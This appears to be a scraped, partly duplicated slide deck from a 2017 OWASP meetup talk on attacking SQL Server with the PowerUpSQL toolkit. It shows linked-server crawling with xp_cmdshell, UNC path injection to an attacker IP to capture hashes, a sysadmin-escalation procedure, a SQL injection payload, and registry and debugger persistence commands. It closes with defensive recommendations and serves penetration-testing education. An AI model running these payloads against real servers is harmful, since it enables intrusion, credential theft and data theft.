Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 40: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 41: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

